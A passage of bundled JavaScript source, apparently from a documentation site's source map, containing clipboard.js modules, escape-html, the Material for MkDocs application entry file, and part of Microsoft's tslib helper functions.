action;\n var support = !!document.queryCommandSupported;\n actions.forEach(function (action) {\n support = support && !!document.queryCommandSupported(action);\n });\n return support;\n }\n }]);\n\n return Clipboard;\n}((tiny_emitter_default()));\n\n/* harmony default export */ var clipboard = (Clipboard);\n\n/***/ }),\n\n/***/ 828:\n/***/ (function(module) {\n\nvar DOCUMENT_NODE_TYPE = 9;\n\n/**\n * A polyfill for Element.matches()\n */\nif (typeof Element !== 'undefined' && !Element.prototype.matches) {\n var proto = Element.prototype;\n\n proto.matches = proto.matchesSelector ||\n proto.mozMatchesSelector ||\n proto.msMatchesSelector ||\n proto.oMatchesSelector ||\n proto.webkitMatchesSelector;\n}\n\n/**\n * Finds the closest parent that matches a selector.\n *\n * @param {Element} element\n * @param {String} selector\n * @return {Function}\n */\nfunction closest (element, selector) {\n while (element && element.nodeType !== DOCUMENT_NODE_TYPE) {\n if (typeof element.matches === 'function' &&\n element.matches(selector)) {\n return element;\n }\n element = element.parentNode;\n }\n}\n\nmodule.exports = closest;\n\n\n/***/ }),\n\n/***/ 438:\n/***/ (function(module, __unused_webpack_exports, __webpack_require__) {\n\nvar closest = __webpack_require__(828);\n\n/**\n * Delegates event to a selector.\n *\n * @param {Element} element\n * @param {String} selector\n * @param {String} type\n * @param {Function} callback\n * @param {Boolean} useCapture\n * @return {Object}\n */\nfunction _delegate(element, selector, type, callback, useCapture) {\n var listenerFn = listener.apply(this, arguments);\n\n element.addEventListener(type, listenerFn, useCapture);\n\n return {\n destroy: function() {\n element.removeEventListener(type, listenerFn, useCapture);\n }\n }\n}\n\n/**\n * Delegates event to a selector.\n *\n * @param {Element|String|Array} [elements]\n * @param {String} selector\n * @param {String} type\n * @param {Function} callback\n * @param {Boolean} useCapture\n * @return {Object}\n */\nfunction delegate(elements, selector, type, callback, useCapture) {\n // Handle the regular Element usage\n if (typeof elements.addEventListener === 'function') {\n return _delegate.apply(null, arguments);\n }\n\n // Handle Element-less usage, it defaults to global delegation\n if (typeof type === 'function') {\n // Use `document` as the first parameter, then apply arguments\n // This is a short way to .unshift `arguments` without running into deoptimizations\n return _delegate.bind(null, document).apply(null, arguments);\n }\n\n // Handle Selector-based usage\n if (typeof elements === 'string') {\n elements = document.querySelectorAll(elements);\n }\n\n // Handle Array-like based usage\n return Array.prototype.map.call(elements, function (element) {\n return _delegate(element, selector, type, callback, useCapture);\n });\n}\n\n/**\n * Finds closest match and invokes callback.\n *\n * @param {Element} element\n * @param {String} selector\n * @param {String} type\n * @param {Function} callback\n * @return {Function}\n */\nfunction listener(element, selector, type, callback) {\n return function(e) {\n e.delegateTarget = closest(e.target, selector);\n\n if (e.delegateTarget) {\n callback.call(element, e);\n }\n }\n}\n\nmodule.exports = delegate;\n\n\n/***/ }),\n\n/***/ 879:\n/***/ (function(__unused_webpack_module, exports) {\n\n/**\n * Check if argument is a HTML element.\n *\n * @param {Object} value\n * @return {Boolean}\n */\nexports.node = function(value) {\n return value !== undefined\n && value instanceof HTMLElement\n && value.nodeType === 1;\n};\n\n/**\n * Check if argument is a list of HTML elements.\n *\n * @param {Object} value\n * @return {Boolean}\n */\nexports.nodeList = function(value) {\n var type = Object.prototype.toString.call(value);\n\n return value !== undefined\n && (type === '[object NodeList]' || type === '[object HTMLCollection]')\n && ('length' in value)\n && (value.length === 0 || exports.node(value[0]));\n};\n\n/**\n * Check if argument is a string.\n *\n * @param {Object} value\n * @return {Boolean}\n */\nexports.string = function(value) {\n return typeof value === 'string'\n || value instanceof String;\n};\n\n/**\n * Check if argument is a function.\n *\n * @param {Object} value\n * @return {Boolean}\n */\nexports.fn = function(value) {\n var type = Object.prototype.toString.call(value);\n\n return type === '[object Function]';\n};\n\n\n/***/ }),\n\n/***/ 370:\n/***/ (function(module, __unused_webpack_exports, __webpack_require__) {\n\nvar is = __webpack_require__(879);\nvar delegate = __webpack_require__(438);\n\n/**\n * Validates all params and calls the right\n * listener function based on its target type.\n *\n * @param {String|HTMLElement|HTMLCollection|NodeList} target\n * @param {String} type\n * @param {Function} callback\n * @return {Object}\n */\nfunction listen(target, type, callback) {\n if (!target && !type && !callback) {\n throw new Error('Missing required arguments');\n }\n\n if (!is.string(type)) {\n throw new TypeError('Second argument must be a String');\n }\n\n if (!is.fn(callback)) {\n throw new TypeError('Third argument must be a Function');\n }\n\n if (is.node(target)) {\n return listenNode(target, type, callback);\n }\n else if (is.nodeList(target)) {\n return listenNodeList(target, type, callback);\n }\n else if (is.string(target)) {\n return listenSelector(target, type, callback);\n }\n else {\n throw new TypeError('First argument must be a String, HTMLElement, HTMLCollection, or NodeList');\n }\n}\n\n/**\n * Adds an event listener to a HTML element\n * and returns a remove listener function.\n *\n * @param {HTMLElement} node\n * @param {String} type\n * @param {Function} callback\n * @return {Object}\n */\nfunction listenNode(node, type, callback) {\n node.addEventListener(type, callback);\n\n return {\n destroy: function() {\n node.removeEventListener(type, callback);\n }\n }\n}\n\n/**\n * Add an event listener to a list of HTML elements\n * and returns a remove listener function.\n *\n * @param {NodeList|HTMLCollection} nodeList\n * @param {String} type\n * @param {Function} callback\n * @return {Object}\n */\nfunction listenNodeList(nodeList, type, callback) {\n Array.prototype.forEach.call(nodeList, function(node) {\n node.addEventListener(type, callback);\n });\n\n return {\n destroy: function() {\n Array.prototype.forEach.call(nodeList, function(node) {\n node.removeEventListener(type, callback);\n });\n }\n }\n}\n\n/**\n * Add an event listener to a selector\n * and returns a remove listener function.\n *\n * @param {String} selector\n * @param {String} type\n * @param {Function} callback\n * @return {Object}\n */\nfunction listenSelector(selector, type, callback) {\n return delegate(document.body, selector, type, callback);\n}\n\nmodule.exports = listen;\n\n\n/***/ }),\n\n/***/ 817:\n/***/ (function(module) {\n\nfunction select(element) {\n var selectedText;\n\n if (element.nodeName === 'SELECT') {\n element.focus();\n\n selectedText = element.value;\n }\n else if (element.nodeName === 'INPUT' || element.nodeName === 'TEXTAREA') {\n var isReadOnly = element.hasAttribute('readonly');\n\n if (!isReadOnly) {\n element.setAttribute('readonly', '');\n }\n\n element.select();\n element.setSelectionRange(0, element.value.length);\n\n if (!isReadOnly) {\n element.removeAttribute('readonly');\n }\n\n selectedText = element.value;\n }\n else {\n if (element.hasAttribute('contenteditable')) {\n element.focus();\n }\n\n var selection = window.getSelection();\n var range = document.createRange();\n\n range.selectNodeContents(element);\n selection.removeAllRanges();\n selection.addRange(range);\n\n selectedText = selection.toString();\n }\n\n return selectedText;\n}\n\nmodule.exports = select;\n\n\n/***/ }),\n\n/***/ 279:\n/***/ (function(module) {\n\nfunction E () {\n // Keep this empty so it's easier to inherit from\n // (via https://github.com/lipsmack from https://github.com/scottcorgan/tiny-emitter/issues/3)\n}\n\nE.prototype = {\n on: function (name, callback, ctx) {\n var e = this.e || (this.e = {});\n\n (e[name] || (e[name] = [])).push({\n fn: callback,\n ctx: ctx\n });\n\n return this;\n },\n\n once: function (name, callback, ctx) {\n var self = this;\n function listener () {\n self.off(name, listener);\n callback.apply(ctx, arguments);\n };\n\n listener._ = callback\n return this.on(name, listener, ctx);\n },\n\n emit: function (name) {\n var data = [].slice.call(arguments, 1);\n var evtArr = ((this.e || (this.e = {}))[name] || []).slice();\n var i = 0;\n var len = evtArr.length;\n\n for (i; i < len; i++) {\n evtArr[i].fn.apply(evtArr[i].ctx, data);\n }\n\n return this;\n },\n\n off: function (name, callback) {\n var e = this.e || (this.e = {});\n var evts = e[name];\n var liveEvents = [];\n\n if (evts && callback) {\n for (var i = 0, len = evts.length; i < len; i++) {\n if (evts[i].fn !== callback && evts[i].fn._ !== callback)\n liveEvents.push(evts[i]);\n }\n }\n\n // Remove event from queue to prevent memory leak\n // Suggested by https://github.com/lazd\n // Ref: https://github.com/scottcorgan/tiny-emitter/commit/c6ebfaa9bc973b33d110a84a307742b7cf94c953#commitcomment-5024910\n\n (liveEvents.length)\n ? e[name] = liveEvents\n : delete e[name];\n\n return this;\n }\n};\n\nmodule.exports = E;\nmodule.exports.TinyEmitter = E;\n\n\n/***/ })\n\n/******/ \t});\n/************************************************************************/\n/******/ \t// The module cache\n/******/ \tvar __webpack_module_cache__ = {};\n/******/ \t\n/******/ \t// The require function\n/******/ \tfunction __webpack_require__(moduleId) {\n/******/ \t\t// Check if module is in cache\n/******/ \t\tif(__webpack_module_cache__[moduleId]) {\n/******/ \t\t\treturn __webpack_module_cache__[moduleId].exports;\n/******/ \t\t}\n/******/ \t\t// Create a new module (and put it into the cache)\n/******/ \t\tvar module = __webpack_module_cache__[moduleId] = {\n/******/ \t\t\t// no module.id needed\n/******/ \t\t\t// no module.loaded needed\n/******/ \t\t\texports: {}\n/******/ \t\t};\n/******/ \t\n/******/ \t\t// Execute the module function\n/******/ \t\t__webpack_modules__[moduleId](module, module.exports, __webpack_require__);\n/******/ \t\n/******/ \t\t// Return the exports of the module\n/******/ \t\treturn module.exports;\n/******/ \t}\n/******/ \t\n/************************************************************************/\n/******/ \t/* webpack/runtime/compat get default export */\n/******/ \t!function() {\n/******/ \t\t// getDefaultExport function for compatibility with non-harmony modules\n/******/ \t\t__webpack_require__.n = function(module) {\n/******/ \t\t\tvar getter = module && module.__esModule ?\n/******/ \t\t\t\tfunction() { return module['default']; } :\n/******/ \t\t\t\tfunction() { return module; };\n/******/ \t\t\t__webpack_require__.d(getter, { a: getter });\n/******/ \t\t\treturn getter;\n/******/ \t\t};\n/******/ \t}();\n/******/ \t\n/******/ \t/* webpack/runtime/define property getters */\n/******/ \t!function() {\n/******/ \t\t// define getter functions for harmony exports\n/******/ \t\t__webpack_require__.d = function(exports, definition) {\n/******/ \t\t\tfor(var key in definition) {\n/******/ \t\t\t\tif(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {\n/******/ \t\t\t\t\tObject.defineProperty(exports, key, { enumerable: true, get: definition[key] });\n/******/ \t\t\t\t}\n/******/ \t\t\t}\n/******/ \t\t};\n/******/ \t}();\n/******/ \t\n/******/ \t/* webpack/runtime/hasOwnProperty shorthand */\n/******/ \t!function() {\n/******/ \t\t__webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); }\n/******/ \t}();\n/******/ \t\n/************************************************************************/\n/******/ \t// module exports must be returned from runtime so entry inlining is disabled\n/******/ \t// startup\n/******/ \t// Load entry module and return exports\n/******/ \treturn __webpack_require__(686);\n/******/ })()\n.default;\n});", "/*!\n * escape-html\n * Copyright(c) 2012-2013 TJ Holowaychuk\n * Copyright(c) 2015 Andreas Lubbe\n * Copyright(c) 2015 Tiancheng \"Timothy\" Gu\n * MIT Licensed\n */\n\n'use strict';\n\n/**\n * Module variables.\n * @private\n */\n\nvar matchHtmlRegExp = /[\"'&<>]/;\n\n/**\n * Module exports.\n * @public\n */\n\nmodule.exports = escapeHtml;\n\n/**\n * Escape special characters in the given string of html.\n *\n * @param {string} string The string to escape for inserting into HTML\n * @return {string}\n * @public\n */\n\nfunction escapeHtml(string) {\n var str = '' + string;\n var match = matchHtmlRegExp.exec(str);\n\n if (!match) {\n return str;\n }\n\n var escape;\n var html = '';\n var index = 0;\n var lastIndex = 0;\n\n for (index = match.index; index < str.length; index++) {\n switch (str.charCodeAt(index)) {\n case 34: // \"\n escape = '"';\n break;\n case 38: // &\n escape = '&';\n break;\n case 39: // '\n escape = ''';\n break;\n case 60: // <\n escape = '<';\n break;\n case 62: // >\n escape = '>';\n break;\n default:\n continue;\n }\n\n if (lastIndex !== index) {\n html += str.substring(lastIndex, index);\n }\n\n lastIndex = index + 1;\n html += escape;\n }\n\n return lastIndex !== index\n ? html + str.substring(lastIndex, index)\n : html;\n}\n", "/*\n * Copyright (c) 2016-2023 Martin Donath \n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n */\n\nimport \"focus-visible\"\n\nimport {\n EMPTY,\n NEVER,\n Observable,\n Subject,\n defer,\n delay,\n filter,\n map,\n merge,\n mergeWith,\n shareReplay,\n switchMap\n} from \"rxjs\"\n\nimport { configuration, feature } from \"./_\"\nimport {\n at,\n getActiveElement,\n getOptionalElement,\n requestJSON,\n setLocation,\n setToggle,\n watchDocument,\n watchKeyboard,\n watchLocation,\n watchLocationTarget,\n watchMedia,\n watchPrint,\n watchScript,\n watchViewport\n} from \"./browser\"\nimport {\n getComponentElement,\n getComponentElements,\n mountAnnounce,\n mountBackToTop,\n mountConsent,\n mountContent,\n mountDialog,\n mountHeader,\n mountHeaderTitle,\n mountPalette,\n mountProgress,\n mountSearch,\n mountSearchHiglight,\n mountSidebar,\n mountSource,\n mountTableOfContents,\n mountTabs,\n watchHeader,\n watchMain\n} from \"./components\"\nimport {\n SearchIndex,\n setupClipboardJS,\n setupInstantNavigation,\n setupVersionSelector\n} from \"./integrations\"\nimport {\n patchEllipsis,\n patchIndeterminate,\n patchScrollfix,\n patchScrolllock\n} from \"./patches\"\nimport \"./polyfills\"\n\n/* ----------------------------------------------------------------------------\n * Functions - @todo refactor\n * ------------------------------------------------------------------------- */\n\n/**\n * Fetch search index\n *\n * @returns Search index observable\n */\nfunction fetchSearchIndex(): Observable {\n if (location.protocol === \"file:\") {\n return watchScript(\n `${new URL(\"search/search_index.js\", config.base)}`\n )\n .pipe(\n // @ts-ignore - @todo fix typings\n map(() => __index),\n shareReplay(1)\n )\n } else {\n return requestJSON(\n new URL(\"search/search_index.json\", config.base)\n )\n }\n}\n\n/* ----------------------------------------------------------------------------\n * Application\n * ------------------------------------------------------------------------- */\n\n/* Yay, JavaScript is available */\ndocument.documentElement.classList.remove(\"no-js\")\ndocument.documentElement.classList.add(\"js\")\n\n/* Set up navigation observables and subjects */\nconst document$ = watchDocument()\nconst location$ = watchLocation()\nconst target$ = watchLocationTarget(location$)\nconst keyboard$ = watchKeyboard()\n\n/* Set up media observables */\nconst viewport$ = watchViewport()\nconst tablet$ = watchMedia(\"(min-width: 960px)\")\nconst screen$ = watchMedia(\"(min-width: 1220px)\")\nconst print$ = watchPrint()\n\n/* Retrieve search index, if search is enabled */\nconst config = configuration()\nconst index$ = document.forms.namedItem(\"search\")\n ? fetchSearchIndex()\n : NEVER\n\n/* Set up Clipboard.js integration */\nconst alert$ = new Subject()\nsetupClipboardJS({ alert$ })\n\n/* Set up progress indicator */\nconst progress$ = new Subject()\n\n/* Set up instant navigation, if enabled */\nif (feature(\"navigation.instant\"))\n setupInstantNavigation({ location$, viewport$, progress$ })\n .subscribe(document$)\n\n/* Set up version selector */\nif (config.version?.provider === \"mike\")\n setupVersionSelector({ document$ })\n\n/* Always close drawer and search on navigation */\nmerge(location$, target$)\n .pipe(\n delay(125)\n )\n .subscribe(() => {\n setToggle(\"drawer\", false)\n setToggle(\"search\", false)\n })\n\n/* Set up global keyboard handlers */\nkeyboard$\n .pipe(\n filter(({ mode }) => mode === \"global\")\n )\n .subscribe(key => {\n switch (key.type) {\n\n /* Go to previous page */\n case \"p\":\n case \",\":\n const prev = getOptionalElement(\"link[rel=prev]\")\n if (typeof prev !== \"undefined\")\n setLocation(prev)\n break\n\n /* Go to next page */\n case \"n\":\n case \".\":\n const next = getOptionalElement(\"link[rel=next]\")\n if (typeof next !== \"undefined\")\n setLocation(next)\n break\n\n /* Expand navigation, see https://bit.ly/3ZjG5io */\n case \"Enter\":\n const active = getActiveElement()\n if (active instanceof HTMLLabelElement)\n active.click()\n }\n })\n\n/* Set up patches */\npatchEllipsis({ document$ })\npatchIndeterminate({ document$, tablet$ })\npatchScrollfix({ document$ })\npatchScrolllock({ viewport$, tablet$ })\n\n/* Set up header and main area observable */\nconst header$ = watchHeader(getComponentElement(\"header\"), { viewport$ })\nconst main$ = document$\n .pipe(\n map(() => getComponentElement(\"main\")),\n switchMap(el => watchMain(el, { viewport$, header$ })),\n shareReplay(1)\n )\n\n/* Set up control component observables */\nconst control$ = merge(\n\n /* Consent */\n ...getComponentElements(\"consent\")\n .map(el => mountConsent(el, { target$ })),\n\n /* Dialog */\n ...getComponentElements(\"dialog\")\n .map(el => mountDialog(el, { alert$ })),\n\n /* Header */\n ...getComponentElements(\"header\")\n .map(el => mountHeader(el, { viewport$, header$, main$ })),\n\n /* Color palette */\n ...getComponentElements(\"palette\")\n .map(el => mountPalette(el)),\n\n /* Progress bar */\n ...getComponentElements(\"progress\")\n .map(el => mountProgress(el, { progress$ })),\n\n /* Search */\n ...getComponentElements(\"search\")\n .map(el => mountSearch(el, { index$, keyboard$ })),\n\n /* Repository information */\n ...getComponentElements(\"source\")\n .map(el => mountSource(el))\n)\n\n/* Set up content component observables */\nconst content$ = defer(() => merge(\n\n /* Announcement bar */\n ...getComponentElements(\"announce\")\n .map(el => mountAnnounce(el)),\n\n /* Content */\n ...getComponentElements(\"content\")\n .map(el => mountContent(el, { viewport$, target$, print$ })),\n\n /* Search highlighting */\n ...getComponentElements(\"content\")\n .map(el => feature(\"search.highlight\")\n ? mountSearchHiglight(el, { index$, location$ })\n : EMPTY\n ),\n\n /* Header title */\n ...getComponentElements(\"header-title\")\n .map(el => mountHeaderTitle(el, { viewport$, header$ })),\n\n /* Sidebar */\n ...getComponentElements(\"sidebar\")\n .map(el => el.getAttribute(\"data-md-type\") === \"navigation\"\n ? at(screen$, () => mountSidebar(el, { viewport$, header$, main$ }))\n : at(tablet$, () => mountSidebar(el, { viewport$, header$, main$ }))\n ),\n\n /* Navigation tabs */\n ...getComponentElements(\"tabs\")\n .map(el => mountTabs(el, { viewport$, header$ })),\n\n /* Table of contents */\n ...getComponentElements(\"toc\")\n .map(el => mountTableOfContents(el, {\n viewport$, header$, main$, target$\n })),\n\n /* Back-to-top button */\n ...getComponentElements(\"top\")\n .map(el => mountBackToTop(el, { viewport$, header$, main$, target$ }))\n))\n\n/* Set up component observables */\nconst component$ = document$\n .pipe(\n switchMap(() => content$),\n mergeWith(control$),\n shareReplay(1)\n )\n\n/* Subscribe to all components */\ncomponent$.subscribe()\n\n/* ----------------------------------------------------------------------------\n * Exports\n * ------------------------------------------------------------------------- */\n\nwindow.document$ = document$ /* Document observable */\nwindow.location$ = location$ /* Location subject */\nwindow.target$ = target$ /* Location target observable */\nwindow.keyboard$ = keyboard$ /* Keyboard observable */\nwindow.viewport$ = viewport$ /* Viewport observable */\nwindow.tablet$ = tablet$ /* Media tablet observable */\nwindow.screen$ = screen$ /* Media screen observable */\nwindow.print$ = print$ /* Media print observable */\nwindow.alert$ = alert$ /* Alert subject */\nwindow.progress$ = progress$ /* Progress indicator subject */\nwindow.component$ = component$ /* Component observable */\n", "/*! *****************************************************************************\r\nCopyright (c) Microsoft Corporation.\r\n\r\nPermission to use, copy, modify, and/or distribute this software for any\r\npurpose with or without fee is hereby granted.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH\r\nREGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY\r\nAND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,\r\nINDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM\r\nLOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR\r\nOTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR\r\nPERFORMANCE OF THIS SOFTWARE.\r\n***************************************************************************** */\r\n/* global Reflect, Promise */\r\n\r\nvar extendStatics = function(d, b) {\r\n extendStatics = Object.setPrototypeOf ||\r\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\r\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\r\n return extendStatics(d, b);\r\n};\r\n\r\nexport function __extends(d, b) {\r\n if (typeof b !== \"function\" && b !== null)\r\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\r\n extendStatics(d, b);\r\n function __() { this.constructor = d; }\r\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\r\n}\r\n\r\nexport var __assign = function() {\r\n __assign = Object.assign || function __assign(t) {\r\n for (var s, i = 1, n = arguments.length; i < n; i++) {\r\n s = arguments[i];\r\n for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];\r\n }\r\n return t;\r\n }\r\n return __assign.apply(this, arguments);\r\n}\r\n\r\nexport function __rest(s, e) {\r\n var t = {};\r\n for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)\r\n t[p] = s[p];\r\n if (s != null && typeof Object.getOwnPropertySymbols === \"function\")\r\n for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {\r\n if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))\r\n t[p[i]] = s[p[i]];\r\n }\r\n return t;\r\n}\r\n\r\nexport function __decorate(decorators, target, key, desc) {\r\n var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;\r\n if (typeof Reflect === \"object\" && typeof Reflect.decorate === \"function\") r = Reflect.decorate(decorators, target, key, desc);\r\n else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;\r\n return c > 3 && r && Object.defineProperty(target, key, r), r;\r\n}\r\n\r\nexport function __param(paramIndex, decorator) {\r\n return function (target, key) { decorator(target, key, paramIndex); }\r\n}\r\n\r\nexport function __metadata(metadataKey, metadataValue) {\r\n if (typeof Reflect === \"object\" && typeof Reflect.metadata === \"function\") return Reflect.metadata(metadataKey, metadataValue);\r\n}\r\n\r\nexport function __awaiter(thisArg, _arguments, P, generator) {\r\n function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }\r\n return new (P || (P = Promise))(function (resolve, reject) {\r\n function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }\r\n function rejected(value) { try { step(generator[\"throw\"](value)); } catch (e) { reject(e); } }\r\n function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }\r\n step((generator = generator.apply(thisArg, _arguments || [])).next());\r\n });\r\n}\r\n\r\nexport function __generator(thisArg, body) {\r\n var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;\r\n return g = { next: verb(0), \"throw\": verb(1), \"return\": verb(2) }, typeof Symbol === \"function\" && (g[Symbol.iterator] = function() { return this; }), g;\r\n function verb(n) { return function (v) { return step([n, v]); }; }\r\n function step(op) {\r\n if (f) throw new TypeError(\"Generator is already executing.\");\r\n while (_) try {\r\n if (f = 1, y && (t = op[0] & 2 ? y[\"return\"] : op[0] ? y[\"throw\"] || ((t = y[\"return\"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;\r\n if (y = 0, t) op = [op[0] & 2, t.value];\r\n switch (op[0]) {\r\n case 0: case 1: t = op; break;\r\n case 4: _.label++; return { value: op[1], done: false };\r\n case 5: _.label++; y = op[1]; op = [0]; continue;\r\n case 7: op = _.ops.pop(); _.trys.pop(); continue;\r\n default:\r\n if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }\r\n if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }\r\n if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }\r\n if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }\r\n if (t[2]) _.ops.pop();\r\n _.trys.pop(); continue;\r\n }\r\n op = body.call(thisArg, _);\r\n } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }\r\n if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };\r\n }\r\n}\r\n\r\nexport var __createBinding = Object.create ? (function(o, m, k, k2) {\r\n if (k2 === undefined) k2 = k;\r\n Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });\r\n}) : (function(o, m, k, k2) {\r\n if (k2 === undefined) k2 = k;\r\n o[k2] = m[k];\r\n});\r\n\r\nexport function __exportStar(m, o) {\r\n for (var p in m) if (p !== \"default\" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);\r\n}\r\n\r\nexport function __values(o) {\r\n var s = typeof Symbol === \"function\" && Symbol.iterator, m = s && o[s], i = 0;\r\n if (m) return m.call(o);\r\n if (o && typeof o.length === \"number\") return {\r\n next: function () {\r\n if (o && i >= o.length) o = void 0;\r\n return { value: o && o[i++], done: !o };\r\n }\r\n };\r\n throw new TypeError(s ? \"Object is not iterable.\" : \"Symbol.iterator is not defined.\");\r\n}\r\n\r\nexport function __read(o, n) {\r\n var m = typeof Symbol === \"function\" && o[Symbol.iterator];\r\n if (!m) return o;\r\n var i = m.call(o), r, ar = [], e;\r\n try {\r\n while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);\r\n }\r\n catch (error) { e = { error: error }; }\r\n finally {\r\n try {\r\n if (r && !r.done && (m = i[\"return\"])) m.call(i);\r\n }\r\n finally { if (e) throw e.error; }\r\n }\r\n return ar;\r\n}\r\n\r\n/** @deprecated */\r\nexport function __spread() {\r\n for (var ar = [], i = 0; i < arguments.length; i++)\r\n ar = ar.concat(__read(arguments[i]));\r\n return ar;\r\n}\r\n\r\n/** @deprecated */\r\nexport function __spreadArrays() {\r\n for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;\r\n for (var r = Array(s), k = 0, i = 0; i < il; i++)\r\n for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)\r\n r[k] = a[j];\r\n return r;\r\n}\r\n\r\nexport function __spreadArray(to, from, pack) {\r\n if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {\r\n if (ar || !(i in from)) {\r\n if (!ar) ar = Array.prototype.slice.call(from, 0, i);\r\n ar[i] = from[i];\r\n }\r\n }\r\n return to.concat(ar || Array.prototype.slice.call(from));\r\n}\r\n\r\nexport function __await(v) {\r\n return this instanceof __await ? (this.v = v, this) : new __await(v);\r\n}\r\n\r\nexport function __asyncGenerator(thisArg, _arguments, generator) {\r\n if (!Symbol.asyncIterator) throw new TypeError(\"Symbol.asyncIterator is not defined.\");\r\n var g = generator.apply(thisArg, _arguments || []), i, q = [];\r\n return i = {}, verb(\"next\"), verb(\"throw\"), verb(\"return\"), i[Symbol.asyncIterator] = function () { return this; }, i;\r\n function verb(n) { if (g[n]) i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; }\r\n function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }\r\n function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }\r\n function fulfill(value) { resume(\"next\", value); }\r\n function reject(value) { resume(\"throw\", value); }\r\n function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }\r\n}\r\n\r\nexport function __asyncDelegator(o) {\r\n var i, p;\r\n return i = {}, verb(\"next\"), verb(\"throw\", function (e) { throw e; }), verb(\"return\"), i[Symbol.iterator] = function () { return this; }, i;\r\n function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: n === \"return\" } : f ? f(v) : v; } : f; }\r\n}\r\n\r\nexport function __asyncValues(o) {\r\n if (!Symbol.asyncIterator) throw new TypeError(\"Symbol.asyncIterator is not defined.\");\r\n var m = o[Symbol.asyncIterator], i;\r\n return m ? m.call(o) : (o = typeof __values === \"function\" ? __values(o) : o[Symbol.iterator](), i = {}, verb(\"next\"), verb(\"throw\"), verb(\"return\"), i[Symbol.asyncIterator] = function () { return this; }, i);\r\n function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }\r\n function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }\r\n}\r\n\r\nexport function __makeTemplateObject(cooked, raw) {\r\n if (Object.defineProperty) { Object.defineProperty(cooked, \"raw\", { value: raw }); } else { cooked.raw = raw; }\r\n return cooked;\r\n};\r\n\r\nvar __setModuleDefault = Object.create ? (function(o, v) {\r\n Object.defineProperty(o, \"default\", { enumerable: true, value: v });\r\n}) : function(o, v) {\r\n o[\"default\"] = v;\r\n};\r\n\r\nexport function __importStar(mod) {\r\n if (mod && mod.__esModule) return mod;\r\n var result = {};\r\n if (mod != null) for (var k in mod) if (k !== \"default\" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);\r\n __setModuleDefault(result, mod);\r\n return result;\r\n}\r\n\r\nexport function 